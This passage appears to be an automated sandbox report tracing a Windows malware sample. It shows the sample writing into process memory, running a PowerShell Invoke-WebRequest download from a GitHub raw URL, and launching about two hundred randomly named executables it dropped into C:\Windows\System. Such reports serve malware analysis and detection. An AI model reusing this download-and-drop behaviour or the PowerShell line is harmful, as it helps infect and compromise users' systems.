PID 4036 wrote to memory of 1516	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	104
PID 4036 wrote to memory of 348	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	105
PID 4036 wrote to memory of 348	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	105
PID 4036 wrote to memory of 4668	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	106
PID 4036 wrote to memory of 4668	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	106
PID 4036 wrote to memory of 1748	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	107
PID 4036 wrote to memory of 1748	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	107
PID 4036 wrote to memory of 1620	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	108
PID 4036 wrote to memory of 1620	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	108
PID 4036 wrote to memory of 4144	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	109
PID 4036 wrote to memory of 4144	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	109
PID 4036 wrote to memory of 1628	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	110
PID 4036 wrote to memory of 1628	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	110
PID 4036 wrote to memory of 4428	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	111
PID 4036 wrote to memory of 4428	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	111
PID 4036 wrote to memory of 4288	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	112
PID 4036 wrote to memory of 4288	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	112
PID 4036 wrote to memory of 1520	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	113
PID 4036 wrote to memory of 1520	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	113
PID 4036 wrote to memory of 3232	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	114
PID 4036 wrote to memory of 3232	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	114
PID 4036 wrote to memory of 1248	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	115
PID 4036 wrote to memory of 1248	4036	a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe	115

C:\Users\Admin\AppData\Local\Temp\a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\a3dd8d724792ef23e16e085018787b40_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4220
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "4220" "2992" "2928" "2996" "0" "0" "3000" "0" "0" "0" "0" "0"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:12952
- C:\Windows\System\rtmSMJG.exe
  C:\Windows\System\rtmSMJG.exe
  2⤵
  - Executes dropped EXE
  PID:4416
- C:\Windows\System\oWHBzjE.exe
  C:\Windows\System\oWHBzjE.exe
  2⤵
  - Executes dropped EXE
  PID:3812
- C:\Windows\System\YauiXgA.exe
  C:\Windows\System\YauiXgA.exe
  2⤵
  - Executes dropped EXE
  PID:3532
- C:\Windows\System\uYSZMLm.exe
  C:\Windows\System\uYSZMLm.exe
  2⤵
  - Executes dropped EXE
  PID:932
- C:\Windows\System\LVCTMlw.exe
  C:\Windows\System\LVCTMlw.exe
  2⤵
  - Executes dropped EXE
  PID:4204
- C:\Windows\System\FqTPrKs.exe
  C:\Windows\System\FqTPrKs.exe
  2⤵
  - Executes dropped EXE
  PID:4040
- C:\Windows\System\SKmirLi.exe
  C:\Windows\System\SKmirLi.exe
  2⤵
  - Executes dropped EXE
  PID:3500
- C:\Windows\System\QOiqjAx.exe
  C:\Windows\System\QOiqjAx.exe
  2⤵
  - Executes dropped EXE
  PID:3712
- C:\Windows\System\qSWZFlQ.exe
  C:\Windows\System\qSWZFlQ.exe
  2⤵
  - Executes dropped EXE
  PID:4636
- C:\Windows\System\KBtRVqB.exe
  C:\Windows\System\KBtRVqB.exe
  2⤵
  - Executes dropped EXE
  PID:5016
- C:\Windows\System\OdAadUe.exe
  C:\Windows\System\OdAadUe.exe
  2⤵
  - Executes dropped EXE
  PID:5112
- C:\Windows\System\GTcDFDs.exe
  C:\Windows\System\GTcDFDs.exe
  2⤵
  - Executes dropped EXE
  PID:2136
- C:\Windows\System\JZyXCVI.exe
  C:\Windows\System\JZyXCVI.exe
  2⤵
  - Executes dropped EXE
  PID:4828
- C:\Windows\System\lKBNCiM.exe
  C:\Windows\System\lKBNCiM.exe
  2⤵
  - Executes dropped EXE
  PID:2116
- C:\Windows\System\UxOHjEo.exe
  C:\Windows\System\UxOHjEo.exe
  2⤵
  - Executes dropped EXE
  PID:5012
- C:\Windows\System\fWZoxnX.exe
  C:\Windows\System\fWZoxnX.exe
  2⤵
  - Executes dropped EXE
  PID:452
- C:\Windows\System\pvLzmui.exe
  C:\Windows\System\pvLzmui.exe
  2⤵
  - Executes dropped EXE
  PID:988
- C:\Windows\System\xWTdkiZ.exe
  C:\Windows\System\xWTdkiZ.exe
  2⤵
  - Executes dropped EXE
  PID:3928
- C:\Windows\System\SDWSLxK.exe
  C:\Windows\System\SDWSLxK.exe
  2⤵
  - Executes dropped EXE
  PID:2208
- C:\Windows\System\gDtFCEW.exe
  C:\Windows\System\gDtFCEW.exe
  2⤵
  - Executes dropped EXE
  PID:1516
- C:\Windows\System\XIZKfnk.exe
  C:\Windows\System\XIZKfnk.exe
  2⤵
  - Executes dropped EXE
  PID:348
- C:\Windows\System\nLRvFIV.exe
  C:\Windows\System\nLRvFIV.exe
  2⤵
  - Executes dropped EXE
  PID:4668
- C:\Windows\System\DRocyKY.exe
  C:\Windows\System\DRocyKY.exe
  2⤵
  - Executes dropped EXE
  PID:1748
- C:\Windows\System\sLZHezm.exe
  C:\Windows\System\sLZHezm.exe
  2⤵
  - Executes dropped EXE
  PID:1620
- C:\Windows\System\yHsgsbN.exe
  C:\Windows\System\yHsgsbN.exe
  2⤵
  - Executes dropped EXE
  PID:4144
- C:\Windows\System\xnWpmxv.exe
  C:\Windows\System\xnWpmxv.exe
  2⤵
  - Executes dropped EXE
  PID:1628
- C:\Windows\System\KDbrbTW.exe
  C:\Windows\System\KDbrbTW.exe
  2⤵
  - Executes dropped EXE
  PID:4428
- C:\Windows\System\tcRosZD.exe
  C:\Windows\System\tcRosZD.exe
  2⤵
  - Executes dropped EXE
  PID:4288
- C:\Windows\System\OXFerfm.exe
  C:\Windows\System\OXFerfm.exe
  2⤵
  - Executes dropped EXE
  PID:1520
- C:\Windows\System\OKQBHpw.exe
  C:\Windows\System\OKQBHpw.exe
  2⤵
  - Executes dropped EXE
  PID:3232
- C:\Windows\System\nmgbBKd.exe
  C:\Windows\System\nmgbBKd.exe
  2⤵
  - Executes dropped EXE
  PID:1248
- C:\Windows\System\jIDfAtO.exe
  C:\Windows\System\jIDfAtO.exe
  2⤵
  - Executes dropped EXE
  PID:1880
- C:\Windows\System\deCgROt.exe
  C:\Windows\System\deCgROt.exe
  2⤵
  - Executes dropped EXE
  PID:3476
- C:\Windows\System\LquiIgD.exe
  C:\Windows\System\LquiIgD.exe
  2⤵
  - Executes dropped EXE
  PID:2412
- C:\Windows\System\hWCKaDL.exe
  C:\Windows\System\hWCKaDL.exe
  2⤵
  - Executes dropped EXE
  PID:4972
- C:\Windows\System\PzAIVzT.exe
  C:\Windows\System\PzAIVzT.exe
  2⤵
  - Executes dropped EXE
  PID:976
- C:\Windows\System\hwoSTBb.exe
  C:\Windows\System\hwoSTBb.exe
  2⤵
  - Executes dropped EXE
  PID:2980
- C:\Windows\System\xcsyMwf.exe
  C:\Windows\System\xcsyMwf.exe
  2⤵
  - Executes dropped EXE
  PID:1148
- C:\Windows\System\SblMvJR.exe
  C:\Windows\System\SblMvJR.exe
  2⤵
  - Executes dropped EXE
  PID:4736
- C:\Windows\System\ufreyxA.exe
  C:\Windows\System\ufreyxA.exe
  2⤵
  - Executes dropped EXE
  PID:224
- C:\Windows\System\WAlfdbJ.exe
  C:\Windows\System\WAlfdbJ.exe
  2⤵
  - Executes dropped EXE
  PID:1900
- C:\Windows\System\tiyXhRi.exe
  C:\Windows\System\tiyXhRi.exe
  2⤵
  - Executes dropped EXE
  PID:2096
- C:\Windows\System\tUkuJjq.exe
  C:\Windows\System\tUkuJjq.exe
  2⤵
  - Executes dropped EXE
  PID:3324
- C:\Windows\System\pefpycA.exe
  C:\Windows\System\pefpycA.exe
  2⤵
  - Executes dropped EXE
  PID:3228
- C:\Windows\System\KinXLdl.exe
  C:\Windows\System\KinXLdl.exe
  2⤵
  - Executes dropped EXE
  PID:3600
- C:\Windows\System\zrthpSg.exe
  C:\Windows\System\zrthpSg.exe
  2⤵
  - Executes dropped EXE
  PID:1392
- C:\Windows\System\knuvlhq.exe
  C:\Windows\System\knuvlhq.exe
  2⤵
  - Executes dropped EXE
  PID:2928
- C:\Windows\System\ayDZhJc.exe
  C:\Windows\System\ayDZhJc.exe
  2⤵
  - Executes dropped EXE
  PID:3960
- C:\Windows\System\YyLjekS.exe
  C:\Windows\System\YyLjekS.exe
  2⤵
  - Executes dropped EXE
  PID:4524
- C:\Windows\System\UUogzLz.exe
  C:\Windows\System\UUogzLz.exe
  2⤵
  - Executes dropped EXE
  PID:648
- C:\Windows\System\UdDwzAc.exe
  C:\Windows\System\UdDwzAc.exe
  2⤵
  - Executes dropped EXE
  PID:4248
- C:\Windows\System\WdruwJM.exe
  C:\Windows\System\WdruwJM.exe
  2⤵
  - Executes dropped EXE
  PID:4812
- C:\Windows\System\cxLQMLU.exe
  C:\Windows\System\cxLQMLU.exe
  2⤵
  - Executes dropped EXE
  PID:1116
- C:\Windows\System\swnwxel.exe
  C:\Windows\System\swnwxel.exe
  2⤵
  - Executes dropped EXE
  PID:1020
- C:\Windows\System\MYjCCAA.exe
  C:\Windows\System\MYjCCAA.exe
  2⤵
  - Executes dropped EXE
  PID:3884
- C:\Windows\System\JkmVnYj.exe
  C:\Windows\System\JkmVnYj.exe
  2⤵
  - Executes dropped EXE
  PID:2560
- C:\Windows\System\tBAZXXM.exe
  C:\Windows\System\tBAZXXM.exe
  2⤵
  - Executes dropped EXE
  PID:3488
- C:\Windows\System\HlihfdU.exe
  C:\Windows\System\HlihfdU.exe
  2⤵
  - Executes dropped EXE
  PID:3784
- C:\Windows\System\ycylfui.exe
  C:\Windows\System\ycylfui.exe
  2⤵
  - Executes dropped EXE
  PID:3316
- C:\Windows\System\IeecLIX.exe
  C:\Windows\System\IeecLIX.exe
  2⤵
  - Executes dropped EXE
  PID:4508
- C:\Windows\System\GWGHzXt.exe
  C:\Windows\System\GWGHzXt.exe
  2⤵
  - Executes dropped EXE
  PID:1992
- C:\Windows\System\EJQSLFh.exe
  C:\Windows\System\EJQSLFh.exe
  2⤵
  - Executes dropped EXE
  PID:2380
- C:\Windows\System\zqHxiYj.exe
  C:\Windows\System\zqHxiYj.exe
  2⤵
  - Executes dropped EXE
  PID:5068
- C:\Windows\System\ZXCXLnA.exe
  C:\Windows\System\ZXCXLnA.exe
  2⤵
  - Executes dropped EXE
  PID:3564
- C:\Windows\System\xKebmyf.exe
  C:\Windows\System\xKebmyf.exe
  2⤵
  PID:4296
- C:\Windows\System\PZBBXpw.exe
  C:\Windows\System\PZBBXpw.exe
  2⤵
  PID:4544
- C:\Windows\System\bCUWYuX.exe
  C:\Windows\System\bCUWYuX.exe
  2⤵
  PID:5128
- C:\Windows\System\JgFKaRJ.exe
  C:\Windows\System\JgFKaRJ.exe
  2⤵
  PID:5160
- C:\Windows\System\KVExzDB.exe
  C:\Windows\System\KVExzDB.exe
  2⤵
  PID:5188
- C:\Windows\System\QRGxNYd.exe
  C:\Windows\System\QRGxNYd.exe
  2⤵
  PID:5212
- C:\Windows\System\TDPJupJ.exe
  C:\Windows\System\TDPJupJ.exe
  2⤵
  PID:5244
- C:\Windows\System\KwARRfX.exe
  C:\Windows\System\KwARRfX.exe
  2⤵
  PID:5272
- C:\Windows\System\lrUjnBB.exe
  C:\Windows\System\lrUjnBB.exe
  2⤵
  PID:5300
- C:\Windows\System\GDXPoWt.exe
  C:\Windows\System\GDXPoWt.exe
  2⤵
  PID:5328
- C:\Windows\System\KFJRapR.exe
  C:\Windows\System\KFJRapR.exe
  2⤵
  PID:5356
- C:\Windows\System\VmlyaQW.exe
  C:\Windows\System\VmlyaQW.exe
  2⤵
  PID:5384
- C:\Windows\System\Pcynnls.exe
  C:\Windows\System\Pcynnls.exe
  2⤵
  PID:5408
- C:\Windows\System\ocmvOqr.exe
  C:\Windows\System\ocmvOqr.exe
  2⤵
  PID:5444
- C:\Windows\System\XpYCUnd.exe
  C:\Windows\System\XpYCUnd.exe
  2⤵
  PID:5476
- C:\Windows\System\WSIUAnT.exe
  C:\Windows\System\WSIUAnT.exe
  2⤵
  PID:5504
- C:\Windows\System\uXoxZzn.exe
  C:\Windows\System\uXoxZzn.exe
  2⤵
  PID:5532
- C:\Windows\System\liNenxf.exe
  C:\Windows\System\liNenxf.exe
  2⤵
  PID:5560
- C:\Windows\System\Ztddjxc.exe
  C:\Windows\System\Ztddjxc.exe
  2⤵
  PID:5588
- C:\Windows\System\ghPhPgb.exe
  C:\Windows\System\ghPhPgb.exe
  2⤵
  PID:5620
- C:\Windows\System\GvtIxJe.exe
  C:\Windows\System\GvtIxJe.exe
  2⤵
  PID:5648
- C:\Windows\System\MdymsqR.exe
  C:\Windows\System\MdymsqR.exe
  2⤵
  PID:5676
- C:\Windows\System\EPnFftH.exe
  C:\Windows\System\EPnFftH.exe
  2⤵
  PID:5704
- C:\Windows\System\StykwbO.exe
  C:\Windows\System\StykwbO.exe
  2⤵
  PID:5732
- C:\Windows\System\kdEAJka.exe
  C:\Windows\System\kdEAJka.exe
  2⤵
  PID:5760
- C:\Windows\System\zqMxubG.exe
  C:\Windows\System\zqMxubG.exe
  2⤵
  PID:5788
- C:\Windows\System\sMBYkJM.exe
  C:\Windows\System\sMBYkJM.exe
  2⤵
  PID:5816
- C:\Windows\System\JDshLDm.exe
  C:\Windows\System\JDshLDm.exe
  2⤵
  PID:5844
- C:\Windows\System\xjYPToM.exe
  C:\Windows\System\xjYPToM.exe
  2⤵
  PID:5872
- C:\Windows\System\QVzSiuQ.exe
  C:\Windows\System\QVzSiuQ.exe
  2⤵
  PID:5900
- C:\Windows\System\NpmGsdh.exe
  C:\Windows\System\NpmGsdh.exe
  2⤵
  PID:5932
- C:\Windows\System\yXFveUj.exe
  C:\Windows\System\yXFveUj.exe
  2⤵
  PID:5960
- C:\Windows\System\PgdVPBv.exe
  C:\Windows\System\PgdVPBv.exe
  2⤵
  PID:5984
- C:\Windows\System\XIFDxmR.exe
  C:\Windows\System\XIFDxmR.exe
  2⤵
  PID:6016
- C:\Windows\System\RQJOdcE.exe
  C:\Windows\System\RQJOdcE.exe
  2⤵
  PID:6044
- C:\Windows\System\KMrcHGv.exe
  C:\Windows\System\KMrcHGv.exe
  2⤵
  PID:6068
- C:\Windows\System\KcxXJRI.exe
  C:\Windows\System\KcxXJRI.exe
  2⤵
  PID:6100
- C:\Windows\System\zkYMmgp.exe
  C:\Windows\System\zkYMmgp.exe
  2⤵
  PID:6124
- C:\Windows\System\EgQVwvD.exe
  C:\Windows\System\EgQVwvD.exe
  2⤵
  PID:336
- C:\Windows\System\wTmKhzQ.exe
  C:\Windows\System\wTmKhzQ.exe
  2⤵
  PID:2284
- C:\Windows\System\jNIDqzs.exe
  C:\Windows\System\jNIDqzs.exe
  2⤵
  PID:4368
- C:\Windows\System\cUnvAGq.exe
  C:\Windows\System\cUnvAGq.exe
  2⤵
  PID:4824
- C:\Windows\System\PMMTtBl.exe
  C:\Windows\System\PMMTtBl.exe
  2⤵
  PID:980
- C:\Windows\System\yPqyqbq.exe
  C:\Windows\System\yPqyqbq.exe
  2⤵
  PID:5140
- C:\Windows\System\IogMeZL.exe
  C:\Windows\System\IogMeZL.exe
  2⤵
  PID:2824
- C:\Windows\System\bZAGsye.exe
  C:\Windows\System\bZAGsye.exe
  2⤵
  PID:5260
- C:\Windows\System\fgvOeSQ.exe
  C:\Windows\System\fgvOeSQ.exe
  2⤵
  PID:5320
- C:\Windows\System\zGZQfCd.exe
  C:\Windows\System\zGZQfCd.exe
  2⤵
  PID:5368
- C:\Windows\System\EYfdWHc.exe
  C:\Windows\System\EYfdWHc.exe
  2⤵
  PID:5428
- C:\Windows\System\ZZOmgWG.exe
  C:\Windows\System\ZZOmgWG.exe
  2⤵
  PID:5492
- C:\Windows\System\EtcQDYY.exe
  C:\Windows\System\EtcQDYY.exe
  2⤵
  PID:5552
- C:\Windows\System\KIBCRLq.exe
  C:\Windows\System\KIBCRLq.exe
  2⤵
  PID:5632
- C:\Windows\System\hIadxry.exe
  C:\Windows\System\hIadxry.exe
  2⤵
  PID:5688
- C:\Windows\System\UPcmkPC.exe
  C:\Windows\System\UPcmkPC.exe
  2⤵
  PID:5748
- C:\Windows\System\ehItWje.exe
  C:\Windows\System\ehItWje.exe
  2⤵
  PID:5808
- C:\Windows\System\otlXLbN.exe
  C:\Windows\System\otlXLbN.exe
  2⤵
  PID:5860
- C:\Windows\System\BSqbKYV.exe
  C:\Windows\System\BSqbKYV.exe
  2⤵
  PID:5924
- C:\Windows\System\PFLQzLs.exe
  C:\Windows\System\PFLQzLs.exe
  2⤵
  PID:5976
- C:\Windows\System\nxLUkhs.exe
  C:\Windows\System\nxLUkhs.exe
  2⤵
  PID:6032
- C:\Windows\System\lcvXBrh.exe
  C:\Windows\System\lcvXBrh.exe
  2⤵
  PID:6092
- C:\Windows\System\iUvxlXV.exe
  C:\Windows\System\iUvxlXV.exe
  2⤵
  PID:2164
- C:\Windows\System\UbxckKM.exe
  C:\Windows\System\UbxckKM.exe
  2⤵
  PID:1368
- C:\Windows\System\tDZIuBp.exe
  C:\Windows\System\tDZIuBp.exe
  2⤵
  PID:3004
- C:\Windows\System\zqySYsG.exe
  C:\Windows\System\zqySYsG.exe
  2⤵
  PID:5180
- C:\Windows\System\CJxHJwW.exe
  C:\Windows\System\CJxHJwW.exe
  2⤵
  PID:5312
- C:\Windows\System\clUaJPz.exe
  C:\Windows\System\clUaJPz.exe
  2⤵
  PID:5464
- C:\Windows\System\cStDtaO.exe
  C:\Windows\System\cStDtaO.exe
  2⤵
  PID:5580
- C:\Windows\System\MbATEHb.exe
  C:\Windows\System\MbATEHb.exe
  2⤵
  PID:4440
- C:\Windows\System\BFEUJUT.exe
  C:\Windows\System\BFEUJUT.exe
  2⤵
  PID:5832
- C:\Windows\System\luabnzg.exe
  C:\Windows\System\luabnzg.exe
  2⤵
  PID:2536
- C:\Windows\System\afMwiUi.exe
  C:\Windows\System\afMwiUi.exe
  2⤵
  PID:6028
- C:\Windows\System\sfspmJl.exe
  C:\Windows\System\sfspmJl.exe
  2⤵
  PID:1756
- C:\Windows\System\rKGZaCL.exe
  C:\Windows\System\rKGZaCL.exe
  2⤵
  PID:4488
- C:\Windows\System\LiSeHgC.exe
  C:\Windows\System\LiSeHgC.exe
  2⤵
  PID:2256
- C:\Windows\System\LpNNOkU.exe
  C:\Windows\System\LpNNOkU.exe
  2⤵
  PID:5400
- C:\Windows\System\MTyRgnf.exe
  C:\Windows\System\MTyRgnf.exe
  2⤵
  PID:3760
- C:\Windows\System\FDosvIg.exe
  C:\Windows\System\FDosvIg.exe
  2⤵
  PID:5724
- C:\Windows\System\RJbtMLR.exe
  C:\Windows\System\RJbtMLR.exe
  2⤵
  PID:2968
- C:\Windows\System\KXFoHCI.exe
  C:\Windows\System\KXFoHCI.exe
  2⤵
  PID:512
- C:\Windows\System\GDaeCCo.exe
  C:\Windows\System\GDaeCCo.exe
  2⤵
  PID:2180
- C:\Windows\System\KVcWtRq.exe
  C:\Windows\System\KVcWtRq.exe
  2⤵
  PID:5544
- C:\Windows\System\nSUhiLk.exe
  C:\Windows\System\nSUhiLk.exe
  2⤵
  PID:6172
- C:\Windows\System\hrrRdVD.exe
  C:\Windows\System\hrrRdVD.exe
  2⤵
  PID:6200
- C:\Windows\System\HNdMFwB.exe
  C:\Windows\System\HNdMFwB.exe
  2⤵
  PID:6228
- C:\Windows\System\RiPUSOo.exe
  C:\Windows\System\RiPUSOo.exe
  2⤵
  PID:6260
- C:\Windows\System\UurRTFc.exe
  C:\Windows\System\UurRTFc.exe
  2⤵
  PID:6284
- C:\Windows\System\fnWOiFR.exe
  C:\Windows\System\fnWOiFR.exe
  2⤵
  PID:6312
- C:\Windows\System\OIueNGi.exe
  C:\Windows\System\OIueNGi.exe
  2⤵
  PID:6340
- C:\Windows\System\LVrwuuJ.exe
  C:\Windows\System\LVrwuuJ.exe
  2⤵
  PID:6372
- C:\Windows\System\vSIGRPl.exe
  C:\Windows\System\vSIGRPl.exe
  2⤵
  PID:6400
- C:\Windows\System\PapulOu.exe
  C:\Windows\System\PapulOu.exe
  2⤵
  PID:6428
- C:\Windows\System\EtLOszH.exe
  C:\Windows\System\EtLOszH.exe
  2⤵
  PID:6452
- C:\Windows\System\oqpeDjO.exe
  C:\Windows\System\oqpeDjO.exe
  2⤵
  PID:6480
- C:\Windows\System\BOiViwC.exe
  C:\Windows\System\BOiViwC.exe
  2⤵
  PID:6512
- C:\Windows\System\vLhZcsn.exe
  C:\Windows\System\vLhZcsn.exe
  2⤵
  PID:6540
- C:\Windows\System\bbFtgqA.exe
  C:\Windows\System\bbFtgqA.exe
  2⤵
  PID:6568
- C:\Windows\System\gwBdTlf.exe
  C:\Windows\System\gwBdTlf.exe
  2⤵
  PID:6592
- C:\Windows\System\kimOxrK.exe
  C:\Windows\System\kimOxrK.exe
  2⤵
  PID:6624
- C:\Windows\System\HqbcDAF.exe
  C:\Windows\System\HqbcDAF.exe
  2⤵
  PID:6652
- C:\Windows\System\TcqNCjZ.exe
  C:\Windows\System\TcqNCjZ.exe
  2⤵
  PID:6680
- C:\Windows\System\YEIRGfR.exe
  C:\Windows\System\YEIRGfR.exe
  2⤵
  PID:6704
- C:\Windows\System\cnoVoxp.exe
  C:\Windows\System\cnoVoxp.exe
  2⤵
  PID:6736
- C:\Windows\System\NfXiPWn.exe
  C:\Windows\System\NfXiPWn.exe
  2⤵
  PID:6760
- C:\Windows\System\fjHTIsR.exe
  C:\Windows\System\fjHTIsR.exe
  2⤵
  PID:6788
- C:\Windows\System\vQwXYgm.exe
  C:\Windows\System\vQwXYgm.exe
  2⤵
  PID:6820
- C:\Windows\System\zTRlOyj.exe
  C:\Windows\System\zTRlOyj.exe
  2⤵
  PID:6848
- C:\Windows\System\KsXCclk.exe
  C:\Windows\System\KsXCclk.exe
  2⤵
  PID:6872
- C:\Windows\System\LwJPKdx.exe
  C:\Windows\System\LwJPKdx.exe
  2⤵
  PID:6904
- C:\Windows\System\byuurTy.exe
  C:\Windows\System\byuurTy.exe
  2⤵
  PID:6932
- C:\Windows\System\GZfJFrT.exe
  C:\Windows\System\GZfJFrT.exe
  2⤵
  PID:6960
- C:\Windows\System\tPhsNHk.exe
  C:\Windows\System\tPhsNHk.exe
  2⤵
  PID:6988
- C:\Windows\System\ODippSh.exe
  C:\Windows\System\ODippSh.exe
  2⤵
  PID:7016
- C:\Windows\System\AAXaSQo.exe
  C:\Windows\System\AAXaSQo.exe
  2⤵
  PID:7044
- C:\Windows\System\LIPyoTi.exe
  C:\Windows\System\LIPyoTi.exe
  2⤵
  PID:7072
- C:\Windows\System\ZCXNvfF.exe
  C:\Windows\System\ZCXNvfF.exe
  2⤵
  PID:7100
- C:\Windows\System\UyzpPyy.exe
  C:\Windows\System\UyzpPyy.exe
  2⤵
  PID:7128
- C:\Windows\System\jgUkNNE.exe
  C:\Windows\System\jgUkNNE.exe
  2⤵
  PID:7152
- C:\Windows\System\kFVNQMe.exe
  C:\Windows\System\kFVNQMe.exe
  2⤵
  PID:1672
- C:\Windows\System\nhpAbDr.exe
  C:\Windows\System\nhpAbDr.exe
  2⤵
  PID:3752
- C:\Windows\System\omCaRJH.exe
  C:\Windows\System\omCaRJH.exe
  2⤵
  PID:3356
- C:\Windows\System\JtYkuSD.exe
  C:\Windows\System\JtYkuSD.exe
  2⤵
  PID:4280
- C:\Windows\System\FRmcVtX.exe
  C:\Windows\System\FRmcVtX.exe
  2⤵
  PID:6168
- C:\Windows\System\InCKxPC.exe
  C:\Windows\System\InCKxPC.exe
  2⤵
  PID:6220
- C:\Windows\System\BNwGgHs.exe
  C:\Windows\System\BNwGgHs.exe
  2⤵
  PID:6272
- C:\Windows\System\uehJyOK.exe
  C:\Windows\System\uehJyOK.exe
  2⤵
  PID:6336
- C:\Windows\System\XEOCboy.exe
  C:\Windows\System\XEOCboy.exe
  2⤵
  PID:6392
- C:\Windows\System\uiweKSY.exe
  C:\Windows\System\uiweKSY.exe
  2⤵
  PID:6472
- C:\Windows\System\CiVTtbb.exe
  C:\Windows\System\CiVTtbb.exe
  2⤵
  PID:6636
- C:\Windows\System\DWAThqH.exe
  C:\Windows\System\DWAThqH.exe
  2⤵
  PID:6692
- C:\Windows\System\VuTVDqT.exe
  C:\Windows\System\VuTVDqT.exe
  2⤵
  PID:6728
- C:\Windows\System\OCHGxaZ.exe
  C:\Windows\System\OCHGxaZ.exe
  2⤵
  PID:6776
- C:\Windows\System\hYAqoqq.exe
  C:\Windows\System\hYAqoqq.exe
  2⤵
  PID:6808
- C:\Windows\System\mShtegE.exe
  C:\Windows\System\mShtegE.exe
  2⤵
  PID:6864
- C:\Windows\System\RmawCOx.exe
  C:\Windows\System\RmawCOx.exe
  2⤵
  PID:6924
- C:\Windows\System\hRJbPjS.exe
  C:\Windows\System\hRJbPjS.exe
  2⤵
  PID:6952
- C:\Windows\System\naTMLOn.exe
  C:\Windows\System\naTMLOn.exe
  2⤵
  PID:7028
- C:\Windows\System\ZlXKGHw.exe
  C:\Windows\System\ZlXKGHw.exe
  2⤵
  PID:7064
- C:\Windows\System\ZdMeYNi.exe
  C:\Windows\System\ZdMeYNi.exe
  2⤵
  PID:7112
- C:\Windows\System\piuXBOQ.exe
  C:\Windows\System\piuXBOQ.exe
  2⤵
  PID:7140
- C:\Windows\System\qaHQAeN.exe
  C:\Windows\System\qaHQAeN.exe
  2⤵
  PID:3212
- C:\Windows\System\ULPQqlt.exe
  C:\Windows\System\ULPQqlt.exe
  2⤵
  PID:3584
- C:\Windows\System\CoFzTMB.exe
  C:\Windows\System\CoFzTMB.exe
  2⤵
  PID:1212
- C:\Windows\System\YEnFWuZ.exe
  C:\Windows\System\YEnFWuZ.exe
  2⤵
  PID:1996
- C:\Windows\System\fclVoXY.exe
  C:\Windows\System\fclVoXY.exe
  2⤵
  PID:6304
- C:\Windows\System\JTtnGAj.exe
  C:\Windows\System\JTtnGAj.exe
  2⤵
  PID:5036
- C:\Windows\System\uqOebUW.exe
  C:\Windows\System\uqOebUW.exe
  2⤵
  PID:6588
- C:\Windows\System\WCjknWC.exe
  C:\Windows\System\WCjknWC.exe
  2⤵
  PID:1972
- C:\Windows\System\hkjTgty.exe
  C:\Windows\System\hkjTgty.exe
  2⤵
  PID:6444
- C:\Windows\System\ymwCpJS.exe
  C:\Windows\System\ymwCpJS.exe
  2⤵
  PID:6976
- C:\Windows\System\sFkzcEF.exe
  C:\Windows\System\sFkzcEF.exe
  2⤵
  PID:7008
- C:\Windows\System\NmhyNVh.exe
  C:\Windows\System\NmhyNVh.exe
  2⤵
  PID:1500
- C:\Windows\System\OPoWZHC.exe
  C:\Windows\System\OPoWZHC.exe
  2⤵
  PID:3448
- C:\Windows\System\wkfLFRy.exe
  C:\Windows\System\wkfLFRy.exe
  2⤵
  PID:3268
- C:\Windows\System\vOaWrxl.exe
  C:\Windows\System\vOaWrxl.exe
  2⤵
  PID:6384
- C:\Windows\System\jsPrQRo.exe
  C:\Windows\System\jsPrQRo.exe
  2⤵
  PID:1120
- C:\Windows\System\xpOTOPK.exe
  C:\Windows\System\xpOTOPK.exe
  2⤵
  PID:1548
- C:\Windows\System\hTFuyll.exe
  C:\Windows\System\hTFuyll.exe
  2⤵
  PID:6916
- C:\Windows\System\arlpXzD.exe
  C:\Windows\System\arlpXzD.exe
  2⤵
  PID:3308
- C:\Windows\System\ccLogUr.exe
  C:\Windows\System\ccLogUr.exe
  2⤵
  PID:7212
- C:\Windows\System\EYzdQfm.exe
  C:\Windows\System\EYzdQfm.exe
  2⤵
  PID:7236
- C:\Windows\System\kTAJPWK.exe
  C:\Windows\System\kTAJPWK.exe
  2⤵
  PID:7264
- C:\Windows\System\bFJOUSs.exe
  C:\Windows\System\bFJOUSs.exe
  2⤵
  PID:7280
- C:\Windows\System\tdiUhjS.exe
  C:\Windows\System\tdiUhjS.exe
  2⤵
  PID:7304
- C:\Windows\System\MntkmEm.exe
  C:\Windows\System\MntkmEm.exe
  2⤵
  PID:7332
- C:\Windows\System\DCJhTwG.exe
  C:\Windows\System\DCJhTwG.exe
  2⤵
  PID:7352
- C:\Windows\System\kkUfcPE.exe
  C:\Windows\System\kkUfcPE.exe
  2⤵
  PID:7384
